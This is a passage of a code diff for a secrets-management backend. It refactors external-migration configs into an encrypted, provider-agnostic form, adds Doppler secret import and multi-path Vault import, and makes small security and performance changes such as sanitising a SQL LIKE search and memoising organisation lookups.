+        if (existingConfigs.some((cfg) => cfg.connectionId === connectionId)) {
+          throw new BadRequestError({
+            message: "A Doppler external migration already exists with the same app connection"
+          });
+        }
+      }
     }
+
+    const externalMigrationConfig = await externalMigrationConfigDAL.create({
+      orgId: actor.orgId,
+      provider: migrationConfig.provider,
+      encryptedConfig: encryptor({ plainText: Buffer.from(JSON.stringify(migrationConfig.config)) }).cipherTextBlob,
+      connectionId
+    });
+
+    return externalMigrationConfig;
   };
 
-  const updateVaultExternalMigration = async ({
+  const updateExternalMigration = async ({
     id,
-    namespace,
+    config: migrationConfig,
     connectionId,
     actor
-  }: TUpdateVaultExternalMigrationDTO) => {
+  }: TUpdateExternalMigrationDTO) => {
     const { hasRole } = await permissionService.getOrgPermission({
       actorId: actor.id,
       actor: actor.type,
@@ -419,39 +474,57 @@ export const externalMigrationServiceFactory = ({
     });
 
     if (!hasRole(OrgMembershipRole.Admin)) {
-      throw new ForbiddenRequestError({ message: "Only admins can update vault external migration" });
+      throw new ForbiddenRequestError({ message: "Only admins can update external migration" });
     }
 
-    const existingConfig = await vaultExternalMigrationConfigDAL.findById(id);
-    const configDoesNotExist = !existingConfig;
-    const configBelongsToDifferentOrg = existingConfig?.orgId !== actor.orgId;
+    const existing = await externalMigrationConfigDAL.findById(id);
+    if (!existing || existing.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: "External migration config not found" });
+    }
 
-    if (configDoesNotExist || configBelongsToDifferentOrg) {
-      throw new NotFoundError({ message: "Vault migration config not found" });
+    if (existing.provider !== migrationConfig.provider) {
+      throw new BadRequestError({ message: "Cannot change provider of an existing migration config" });
     }
 
-    if (connectionId) {
-      const connection = await appConnectionService.connectAppConnectionById<THCVaultConnection>(
-        AppConnection.HCVault,
-        connectionId,
-        actor
-      );
+    const { encryptor } = await kmsService.createCipherPairWithDataKey({
+      type: KmsDataKey.Organization,
+      orgId: actor.orgId
+    });
 
-      await validateVaultExternalMigrationConnection({
-        connection,
-        namespace
-      });
+    if (migrationConfig.provider === ExternalMigrationProviders.Vault) {
+      if (connectionId) {
+        const connection = await appConnectionService.connectAppConnectionById<THCVaultConnection>(
+          AppConnection.HCVault,
+          connectionId,
+          actor
+        );
+
+        await validateVaultExternalMigrationConnection({
+          connection,
+          namespace: migrationConfig.config.namespace
+        });
+      }
+    } else if (migrationConfig.provider === ExternalMigrationProviders.Doppler) {
+      if (connectionId) {
+        await appConnectionService.connectAppConnectionById(AppConnection.Doppler, connectionId, actor);
+      }
     }
 
-    const config = await vaultExternalMigrationConfigDAL.updateById(id, {
-      namespace,
+    const updatedConfig = await externalMigrationConfigDAL.updateById(id, {
+      encryptedConfig: encryptor({ plainText: Buffer.from(JSON.stringify(migrationConfig.config)) }).cipherTextBlob,
       connectionId
     });
 
-    return config;
+    return updatedConfig;
   };
 
-  const getVaultExternalMigrationConfigs = async ({ actor }: { actor: OrgServiceActor }) => {
+  const getExternalMigrationConfigs = async ({
+    actor,
+    provider
+  }: {
+    actor: OrgServiceActor;
+    provider: ExternalMigrationProviders;
+  }) => {
     const { hasRole } = await permissionService.getOrgPermission({
       actorId: actor.id,
       actor: actor.type,
@@ -462,14 +535,13 @@ export const externalMigrationServiceFactory = ({
     });
 
     if (!hasRole(OrgMembershipRole.Admin)) {
-      throw new ForbiddenRequestError({ message: "Only admins can view vault external migration configs" });
+      throw new ForbiddenRequestError({ message: "Only admins can view external migration configs" });
     }
 
-    const configs = await vaultExternalMigrationConfigDAL.find({
-      orgId: actor.orgId
+    return externalMigrationConfigDAL.findWithConnection({
+      orgId: actor.orgId,
+      provider
     });
-
-    return configs;
   };
 
   const getVaultNamespaces = async ({ actor }: { actor: OrgServiceActor }) => {
@@ -487,16 +559,28 @@ export const externalMigrationServiceFactory = ({
     }
 
     // Get all configured namespaces for this org
-    const vaultConfigs = await vaultExternalMigrationConfigDAL.find({
+    const vaultConfigs = await externalMigrationConfigDAL.find({
+      orgId: actor.orgId,
+      provider: ExternalMigrationProviders.Vault
+    });
+
+    const { decryptor } = await kmsService.createCipherPairWithDataKey({
+      type: KmsDataKey.Organization,
       orgId: actor.orgId
     });
 
     // Return the configured namespaces as an array of objects with id and name
     // where both id and name are the namespace path
-    const namespaces = vaultConfigs.map((config) => ({
-      id: config.namespace,
-      name: config.namespace
-    }));
+    const namespaces = vaultConfigs.map((config) => {
+      const decryptedConfig = decryptor({ cipherTextBlob: config.encryptedConfig });
+
+      const parsedConfig = ExternalMigrationConfigVaultConfigSchema.parse(JSON.parse(decryptedConfig.toString()));
+
+      return {
+        id: parsedConfig.namespace,
+        name: parsedConfig.namespace
+      };
+    });
 
     return namespaces;
   };
@@ -539,7 +623,7 @@ export const externalMigrationServiceFactory = ({
     environment,
     secretPath,
     vaultNamespace,
-    vaultSecretPath,
+    vaultSecretPaths,
     auditLogInfo
   }: {
     actor: OrgServiceActor;
@@ -547,18 +631,54 @@ export const externalMigrationServiceFactory = ({
     environment: string;
     secretPath: string;
     vaultNamespace: string;
-    vaultSecretPath: string;
+    vaultSecretPaths: string[];
     auditLogInfo: AuditLogInfo;
   }) => {
     const connection = await getVaultConnectionForNamespace(actor, vaultNamespace, "import vault secrets");
-    const vaultSecrets = await getHCVaultSecretsForPath(
+
+    if (!vaultSecretPaths.length) {
+      throw new BadRequestError({ message: "At least one Vault secret path is required" });
+    }
+
+    const uniqueVaultSecretPaths = Array.from(new Set(vaultSecretPaths));
+
+    const secretsPerPath = await getHCVaultSecretsForPaths(
       vaultNamespace,
-      vaultSecretPath,
+      uniqueVaultSecretPaths,
       connection,
       gatewayService,
       gatewayV2Service
     );
 
+    const keyOrigins = new Map<string, string[]>();
+
+    // build a map of secret keys to the paths they appear in
+    for (const { vaultSecretPath, secrets } of secretsPerPath) {
+      for (const secretKey of Object.keys(secrets)) {
+        const paths = keyOrigins.get(secretKey);
+        if (paths) {
+          paths.push(vaultSecretPath);
+        } else {
+          keyOrigins.set(secretKey, [vaultSecretPath]);
+        }
+      }
+    }
+
+    const conflicts = [...keyOrigins.entries()]
+      .filter(([, paths]) => paths.length > 1)
+      .map(([secretKey, paths]) => `"${secretKey}" (in ${paths.join(", ")})`);
+
+    if (conflicts.length) {
+      throw new BadRequestError({
+        message: `Cannot import: the following secret keys appear in multiple selected Vault paths: ${conflicts.join("; ")}. Resolve the conflicts in Vault or import the paths separately.`
+      });
+    }
+
+    const vaultSecrets: Record<string, JsonValue> = {};
+    for (const { secrets } of secretsPerPath) {
+      Object.assign(vaultSecrets, secrets);
+    }
+
     try {
       const secretOperation = await secretService.createManySecretsRaw({
         actorId: actor.id,
@@ -594,10 +714,10 @@ export const externalMigrationServiceFactory = ({
           }
         });
 
-        return { status: VaultImportStatus.ApprovalRequired };
+        return { status: ExternalMigrationImportStatus.ApprovalRequired };
       }
 
-      return { status: VaultImportStatus.Imported };
+      return { status: ExternalMigrationImportStatus.Imported };
     } catch (error) {
       throw new BadRequestError({
         message: `Failed to import Vault secrets. ${error instanceof Error ? error.message : "Unknown error"}`
@@ -605,7 +725,7 @@ export const externalMigrationServiceFactory = ({
     }
   };
 
-  const deleteVaultExternalMigration = async ({ id, actor }: TDeleteVaultExternalMigrationDTO) => {
+  const deleteExternalMigration = async ({ id, actor }: TDeleteExternalMigrationDTO) => {
     const { hasRole } = await permissionService.getOrgPermission({
       actorId: actor.id,
       actor: actor.type,
@@ -616,22 +736,16 @@ export const externalMigrationServiceFactory = ({
     });
 
     if (!hasRole(OrgMembershipRole.Admin)) {
-      throw new ForbiddenRequestError({ message: "Only admins can delete vault external migration configs" });
+      throw new ForbiddenRequestError({ message: "Only admins can delete external migration configs" });
     }
 
-    const config = await vaultExternalMigrationConfigDAL.findById(id);
+    const config = await externalMigrationConfigDAL.findById(id);
 
-    if (!config) {
-      throw new NotFoundError({ message: "Vault migration config not found" });
+    if (!config || config.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: "External migration config not found" });
     }
 
-    if (config.orgId !== actor.orgId) {
-      throw new ForbiddenRequestError({ message: "Config does not belong to this organization" });
-    }
-
-    const deletedConfig = await vaultExternalMigrationConfigDAL.deleteById(id);
-
-    return deletedConfig;
+    return externalMigrationConfigDAL.deleteById(id);
   };
 
   const getVaultAuthMounts = async ({
@@ -699,14 +813,142 @@ export const externalMigrationServiceFactory = ({
     return getHCVaultLdapRoles(namespace, mountPath, connection, gatewayService, gatewayV2Service);
   };
 
+  // ─── Doppler In-Platform Migration ──────────────────────────────────────────
+
+  const getDopplerConnectionForConfig = async (configId: string, actor: OrgServiceActor) => {
+    const { hasRole } = await permissionService.getOrgPermission({
+      scope: OrganizationActionScope.Any,
+      actor: actor.type,
+      actorId: actor.id,
+      orgId: actor.orgId,
+      actorAuthMethod: actor.authMethod,
+      actorOrgId: actor.orgId
+    });
+
+    if (!hasRole(OrgMembershipRole.Admin)) {
+      throw new ForbiddenRequestError({ message: "Only admins can use Doppler migration" });
+    }
+
+    const config = await externalMigrationConfigDAL.findById(configId);
+
+    if (!config || config.orgId !== actor.orgId || config.provider !== ExternalMigrationProviders.Doppler) {
+      throw new NotFoundError({ message: "Doppler migration config not found" });
+    }
+
+    if (!config.connectionId) {
+      throw new BadRequestError({ message: "Doppler migration config has no connection configured" });
+    }
+
+    const appConnection = await appConnectionService.connectAppConnectionById<TDopplerConnection>(
+      AppConnection.Doppler,
+      config.connectionId,
+      actor
+    );
+
+    return appConnection;
+  };
+
+  const getDopplerProjects = async ({ configId, actor }: { configId: string; actor: OrgServiceActor }) => {
+    const appConnection = await getDopplerConnectionForConfig(configId, actor);
+    return listDopplerProjects(appConnection);
+  };
+
+  const getDopplerEnvironments = async ({
+    configId,
+    projectSlug,
+    actor
+  }: {
+    configId: string;
+    projectSlug: string;
+    actor: OrgServiceActor;
+  }) => {
+    const appConnection = await getDopplerConnectionForConfig(configId, actor);
+    return listDopplerEnvironments(appConnection, projectSlug);
+  };
+
+  const getDopplerConfigs = async ({
+    configId,
+    projectSlug,
+    actor
+  }: {
+    configId: string;
+    projectSlug: string;
+    actor: OrgServiceActor;
+  }) => {
+    const appConnection = await getDopplerConnectionForConfig(configId, actor);
+    return listDopplerConfigs(appConnection, projectSlug);
+  };
+
+  const importDopplerSecrets = async ({
+    configId,
+    dopplerProject,
+    dopplerEnvironment,
+    targetProjectId,
+    targetEnvironment,
+    targetSecretPath,
+    actor,
+    auditLogInfo
+  }: TImportDopplerSecretsDTO) => {
+    const appConnection = await getDopplerConnectionForConfig(configId, actor);
+
+    const dopplerSecrets = await getDopplerSecrets(appConnection, dopplerProject, dopplerEnvironment);
+
+    try {
+      const secretOperation = await secretService.createManySecretsRaw({
+        actorId: actor.id,
+        actor: actor.type,
+        actorAuthMethod: actor.authMethod,
+        actorOrgId: actor.orgId,
+        projectId: targetProjectId,
+        environment: targetEnvironment,
+        secretPath: targetSecretPath,
+        secrets: Object.entries(dopplerSecrets).map(([secretKey, secretValue]) => ({
+          secretKey,
+          secretValue
+        }))
+      });
+
+      if (secretOperation.type === SecretProtectionType.Approval) {
+        await auditLogService.createAuditLog({
+          projectId: targetProjectId,
+          ...auditLogInfo,
+          event: {
+            type: EventType.SECRET_APPROVAL_REQUEST,
+            metadata: {
+              committedBy: secretOperation.approval.committerUserId,
+              secretApprovalRequestId: secretOperation.approval.id,
+              secretApprovalRequestSlug: secretOperation.approval.slug,
+              secretPath: targetSecretPath,
+              environment: targetEnvironment,
+              secrets: Object.entries(dopplerSecrets).map(([secretKey]) => ({
+                secretKey
+              })),
+              eventType: SecretApprovalEvent.CreateMany
+            }
+          }
+        });
+
+        return { status: ExternalMigrationImportStatus.ApprovalRequired, imported: 0 };
+      }
+    } catch (error) {
+      throw new BadRequestError({
+        message: `Failed to import Doppler secrets. ${error instanceof Error ? error.message : "Unknown error"}`
+      });
+    }
+
+    return { status: ExternalMigrationImportStatus.Imported, imported: Object.keys(dopplerSecrets).length };
+  };
+
   return {
     importEnvKeyData,
     importVaultData,
     hasCustomVaultMigration,
-    createVaultExternalMigration,
-    getVaultExternalMigrationConfigs,
-    updateVaultExternalMigration,
-    deleteVaultExternalMigration,
+
+    createExternalMigration,
+    updateExternalMigration,
+    deleteExternalMigration,
+    getExternalMigrationConfigs,
+
     getVaultNamespaces,
     getVaultPolicies,
     getVaultMounts,
@@ -716,6 +958,11 @@ export const externalMigrationServiceFactory = ({
     getVaultKubernetesAuthRoles,
     getVaultKubernetesRoles,
     getVaultDatabaseRoles,
-    getVaultLdapRoles
+    getVaultLdapRoles,
+
+    getDopplerProjects,
+    getDopplerEnvironments,
+    getDopplerConfigs,
+    importDopplerSecrets
   };
 };
diff --git a/backend/src/services/external-migration/external-migration-types.ts b/backend/src/services/external-migration/external-migration-types.ts
index 2b9069b9194..fd3dbfcf455 100644
--- a/backend/src/services/external-migration/external-migration-types.ts
+++ b/backend/src/services/external-migration/external-migration-types.ts
@@ -1,6 +1,8 @@
+import { AuditLogInfo } from "@app/ee/services/audit-log/audit-log-types";
 import { OrgServiceActor, TOrgPermission } from "@app/lib/types";
 
 import { ActorAuthMethod, ActorType } from "../auth/auth-type";
+import { ExternalMigrationProviders, TExternalMigrationConfig } from "./external-migration-schemas";
 
 export enum KvVersion {
   V1 = "1",
@@ -119,19 +121,42 @@ export type TEnvKeyExportJSON = {
 
 export enum ExternalPlatforms {
   EnvKey = "EnvKey",
-  Vault = "Vault"
+  Vault = "Vault",
+  Doppler = "Doppler"
 }
 
-export enum ExternalMigrationProviders {
-  Vault = "vault",
-  EnvKey = "env-key"
-}
-
-export enum VaultImportStatus {
+export enum ExternalMigrationImportStatus {
   Imported = "imported",
   ApprovalRequired = "approval-required"
 }
 
+export type TCreateDopplerExternalMigrationDTO = {
+  connectionId: string;
+  actor: OrgServiceActor;
+};
+
+export type TUpdateDopplerExternalMigrationDTO = {
+  id: string;
+  connectionId: string | null;
+  actor: OrgServiceActor;
+};
+
+export type TDeleteDopplerExternalMigrationDTO = {
+  id: string;
+  actor: OrgServiceActor;
+};
+
+export type TImportDopplerSecretsDTO = {
+  configId: string;
+  dopplerProject: string;
+  dopplerEnvironment: string;
+  targetProjectId: string;
+  targetEnvironment: string;
+  targetSecretPath: string;
+  actor: OrgServiceActor;
+  auditLogInfo: AuditLogInfo;
+};
+
 export type TCreateVaultExternalMigrationDTO = {
   namespace: string;
   connectionId: string;
@@ -145,7 +170,20 @@ export type TUpdateVaultExternalMigrationDTO = {
   actor: OrgServiceActor;
 };
 
-export type TDeleteVaultExternalMigrationDTO = {
+export type TCreateExternalMigrationDTO = {
+  config: TExternalMigrationConfig;
+  connectionId: string;
+  actor: OrgServiceActor;
+};
+
+export type TUpdateExternalMigrationDTO = {
+  id: string;
+  config: TExternalMigrationConfig;
+  connectionId: string | null;
+  actor: OrgServiceActor;
+};
+
+export type TDeleteExternalMigrationDTO = {
   id: string;
   actor: OrgServiceActor;
 };
diff --git a/backend/src/services/external-migration/vault-external-migration-config-dal.ts b/backend/src/services/external-migration/vault-external-migration-config-dal.ts
deleted file mode 100644
index 453432b6ed5..00000000000
--- a/backend/src/services/external-migration/vault-external-migration-config-dal.ts
+++ /dev/null
@@ -1,69 +0,0 @@
-import { Knex } from "knex";
-
-import { TDbClient } from "@app/db";
-import { TableName } from "@app/db/schemas";
-import { DatabaseError } from "@app/lib/errors";
-import { buildFindFilter, ormify, prependTableNameToFindFilter, selectAllTableCols } from "@app/lib/knex";
-
-export type TVaultExternalMigrationConfigDALFactory = ReturnType<typeof vaultExternalMigrationConfigDALFactory>;
-
-export const vaultExternalMigrationConfigDALFactory = (db: TDbClient) => {
-  const orm = ormify(db, TableName.VaultExternalMigrationConfig);
-
-  const findOne = async (filter: { orgId: string; namespace: string }, tx?: Knex) => {
-    try {
-      const result = await (tx || db?.replicaNode?.() || db)(TableName.VaultExternalMigrationConfig)
-        .leftJoin(
-          TableName.AppConnection,
-          `${TableName.AppConnection}.id`,
-          `${TableName.VaultExternalMigrationConfig}.connectionId`
-        )
-        /* eslint-disable @typescript-eslint/no-misused-promises */
-        .where(buildFindFilter(prependTableNameToFindFilter(TableName.VaultExternalMigrationConfig, filter)))
-        .select(selectAllTableCols(TableName.VaultExternalMigrationConfig))
-        .select(
-          db.ref("id").withSchema(TableName.AppConnection).as("appConnectionId"),
-          db.ref("name").withSchema(TableName.AppConnection).as("appConnectionName"),
-          db.ref("app").withSchema(TableName.AppConnection).as("appConnectionApp"),
-          db.ref("encryptedCredentials").withSchema(TableName.AppConnection).as("appConnectionEncryptedCredentials"),
-          db.ref("orgId").withSchema(TableName.AppConnection).as("appConnectionOrgId"),
-          db.ref("isAutoRotationEnabled").withSchema(TableName.AppConnection).as("appConnectionIsAutoRotationEnabled"),
-          db.ref("method").withSchema(TableName.AppConnection).as("appConnectionMethod"),
-          db.ref("description").withSchema(TableName.AppConnection).as("appConnectionDescription"),
-          db.ref("version").withSchema(TableName.AppConnection).as("appConnectionVersion"),
-          db.ref("gatewayId").withSchema(TableName.AppConnection).as("appConnectionGatewayId"),
-          db.ref("projectId").withSchema(TableName.AppConnection).as("appConnectionProjectId"),
-          db.ref("createdAt").withSchema(TableName.AppConnection).as("appConnectionCreatedAt"),
-          db.ref("updatedAt").withSchema(TableName.AppConnection).as("appConnectionUpdatedAt")
-        )
-        .first();
-
-      if (!result) return undefined;
-
-      return {
-        ...result,
-        connection: result.appConnectionId
-          ? {
-              id: result.appConnectionId,
-              name: result.appConnectionName,
-              app: result.appConnectionApp,
-              encryptedCredentials: result.appConnectionEncryptedCredentials,
-              orgId: result.appConnectionOrgId,
-              method: result.appConnectionMethod,
-              description: result.appConnectionDescription,
-              version: result.appConnectionVersion,
-              gatewayId: result.appConnectionGatewayId,
-              projectId: result.appConnectionProjectId,
-              createdAt: result.appConnectionCreatedAt,
-              updatedAt: result.appConnectionUpdatedAt,
-              isAutoRotationEnabled: result.appConnectionIsAutoRotationEnabled
-            }
-          : undefined
-      };
-    } catch (error) {
-      throw new DatabaseError({ error, name: "Find one" });
-    }
-  };
-
-  return { ...orm, findOne };
-};
diff --git a/backend/src/services/folder-commit/folder-commit-dal.ts b/backend/src/services/folder-commit/folder-commit-dal.ts
index e95dbb83938..8f900ec81d8 100644
--- a/backend/src/services/folder-commit/folder-commit-dal.ts
+++ b/backend/src/services/folder-commit/folder-commit-dal.ts
@@ -10,6 +10,7 @@ import {
   TSecretVersionsV2
 } from "@app/db/schemas";
 import { DatabaseError, NotFoundError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { buildFindFilter, ormify, selectAllTableCols } from "@app/lib/knex";
 
 export type TFolderCommitDALFactory = ReturnType<typeof folderCommitDALFactory>;
@@ -426,7 +427,7 @@ export const folderCommitDALFactory = (db: TDbClient) => {
       // Add search functionality
       if (search) {
         baseQuery = baseQuery.where((qb) => {
-          void qb.whereILike("message", `%${search}%`);
+          void qb.whereILike("message", `%${sanitizeSqlLikeString(search)}%`);
         });
       }
 
diff --git a/backend/src/services/group-project/group-project-service.ts b/backend/src/services/group-project/group-project-service.ts
index 77497a26cd1..ac914796a54 100644
--- a/backend/src/services/group-project/group-project-service.ts
+++ b/backend/src/services/group-project/group-project-service.ts
@@ -4,24 +4,17 @@ import { ActionProjectType } from "@app/db/schemas";
 import { TListProjectGroupUsersDTO } from "@app/ee/services/group/group-types";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { ProjectPermissionGroupActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
-import { NotFoundError } from "@app/lib/errors";
 
 import { TGroupDALFactory } from "../../ee/services/group/group-dal";
-import { TProjectDALFactory } from "../project/project-dal";
 
 type TGroupProjectServiceFactoryDep = {
   groupDAL: Pick<TGroupDALFactory, "findOne" | "findAllGroupPossibleUsers">;
-  projectDAL: Pick<TProjectDALFactory, "findOne" | "findProjectGhostUser" | "findById">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "getProjectPermissionByRoles">;
 };
 
 export type TGroupProjectServiceFactory = ReturnType<typeof groupProjectServiceFactory>;
 
-export const groupProjectServiceFactory = ({
-  groupDAL,
-  projectDAL,
-  permissionService
-}: TGroupProjectServiceFactoryDep) => {
+export const groupProjectServiceFactory = ({ groupDAL, permissionService }: TGroupProjectServiceFactoryDep) => {
   const listProjectGroupUsers = async ({
     id,
     projectId,
@@ -35,12 +28,6 @@ export const groupProjectServiceFactory = ({
     search,
     filter
   }: TListProjectGroupUsersDTO) => {
-    const project = await projectDAL.findById(projectId);
-
-    if (!project) {
-      throw new NotFoundError({ message: `Failed to find project with ID ${projectId}` });
-    }
-
     const { permission } = await permissionService.getProjectPermission({
       actor,
       actorId,
@@ -51,8 +38,10 @@ export const groupProjectServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionGroupActions.Read, ProjectPermissionSub.Groups);
 
+    // getProjectPermission above throws NotFoundError if the project doesn't exist and
+    // guarantees actorOrgId === project.orgId — no separate project lookup needed.
     const { members, totalCount } = await groupDAL.findAllGroupPossibleUsers({
-      orgId: project.orgId,
+      orgId: actorOrgId,
       groupId: id,
       offset,
       limit,
diff --git a/backend/src/services/identity-access-token/identity-access-token-dal.ts b/backend/src/services/identity-access-token/identity-access-token-dal.ts
index 39ba33f3d53..40a35f60e52 100644
--- a/backend/src/services/identity-access-token/identity-access-token-dal.ts
+++ b/backend/src/services/identity-access-token/identity-access-token-dal.ts
@@ -92,8 +92,7 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
       //         the query, you need to update the indexes accordingly to avoid performance regressions.
       return dbClient
         .select("id")
-        .from(revokedTokensQuery.unionAll(exceededUsageLimitQuery).unionAll(expiredTTLQuery).as("all_expired_tokens"))
-        .distinct();
+        .from(revokedTokensQuery.unionAll(exceededUsageLimitQuery).unionAll(expiredTTLQuery).as("all_expired_tokens"));
     };
 
     do {
diff --git a/backend/src/services/identity-alicloud-auth/identity-alicloud-auth-service.ts b/backend/src/services/identity-alicloud-auth/identity-alicloud-auth-service.ts
index f06551a3a50..3d91a60f467 100644
--- a/backend/src/services/identity-alicloud-auth/identity-alicloud-auth-service.ts
+++ b/backend/src/services/identity-alicloud-auth/identity-alicloud-auth-service.ts
@@ -24,7 +24,9 @@ import {
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -83,7 +85,9 @@ export const identityAliCloudAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -537,7 +541,10 @@ export const identityAliCloudAuthServiceFactory = ({
         actorOrgId
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-aws-auth/identity-aws-auth-service.ts b/backend/src/services/identity-aws-auth/identity-aws-auth-service.ts
index b77b94be346..fabb3ec7138 100644
--- a/backend/src/services/identity-aws-auth/identity-aws-auth-service.ts
+++ b/backend/src/services/identity-aws-auth/identity-aws-auth-service.ts
@@ -2,7 +2,6 @@
 import { ForbiddenError, subject } from "@casl/ability";
 import { requestContext } from "@fastify/request-context";
 /* eslint-disable @typescript-eslint/no-unsafe-assignment */
-import axios from "axios";
 import RE2 from "re2";
 
 import { AccessScope, ActionProjectType, IdentityAuthMethod, OrganizationActionScope } from "@app/db/schemas";
@@ -15,6 +14,7 @@ import {
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { ProjectPermissionIdentityActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
 import { getConfig } from "@app/lib/config/env";
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import {
   BadRequestError,
@@ -25,7 +25,9 @@ import {
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -67,7 +69,7 @@ const awsRegionFromHeader = (authorizationHeader: string): string | null => {
   // 	SignedHeaders=content-length;content-type;host;x-amz-date,
   //	Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024
   //
-  // The credential is in the form of "<your-access-key-id>/<date>/<aws-region>/<aws-service>/aws4_request"
+  // The credential is in the form of "<your-access-key-id>/<date>/<aws-region>/<aws-service>/aws4_request"xi
   try {
     const fields = authorizationHeader.split(" ");
     for (const field of fields) {
@@ -121,7 +123,9 @@ export const identityAwsAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -146,7 +150,7 @@ export const identityAwsAuthServiceFactory = ({
             GetCallerIdentityResult: { Account, Arn, UserId }
           }
         }
-      }: { data: TGetCallerIdentityResponse } = await axios({
+      }: { data: TGetCallerIdentityResponse } = await request({
         method: iamHttpRequestMethod,
         url,
         headers,
@@ -642,7 +646,10 @@ export const identityAwsAuthServiceFactory = ({
         actorOrgId
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-azure-auth/identity-azure-auth-fns.ts b/backend/src/services/identity-azure-auth/identity-azure-auth-fns.ts
index cb06f3d4058..636b6d92e4c 100644
--- a/backend/src/services/identity-azure-auth/identity-azure-auth-fns.ts
+++ b/backend/src/services/identity-azure-auth/identity-azure-auth-fns.ts
@@ -1,5 +1,4 @@
-import axios from "axios";
-
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import { UnauthorizedError } from "@app/lib/errors";
 
@@ -20,7 +19,7 @@ export const validateAzureIdentity = async ({
 
   const { kid } = decodedJwt.header;
 
-  const { data }: { data: TAzureJwksUriResponse } = await axios.get(jwksUri);
+  const { data }: { data: TAzureJwksUriResponse } = await request.get(jwksUri);
   const signingKeys = data.keys;
 
   const signingKey = signingKeys.find((key) => key.kid === kid);
diff --git a/backend/src/services/identity-azure-auth/identity-azure-auth-service.ts b/backend/src/services/identity-azure-auth/identity-azure-auth-service.ts
index 03acd0f43a6..90e4c36bade 100644
--- a/backend/src/services/identity-azure-auth/identity-azure-auth-service.ts
+++ b/backend/src/services/identity-azure-auth/identity-azure-auth-service.ts
@@ -20,7 +20,9 @@ import {
   UnauthorizedError
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -77,7 +79,9 @@ export const identityAzureAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -543,7 +547,10 @@ export const identityAzureAuthServiceFactory = ({
         actorAuthMethod,
         actorOrgId
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
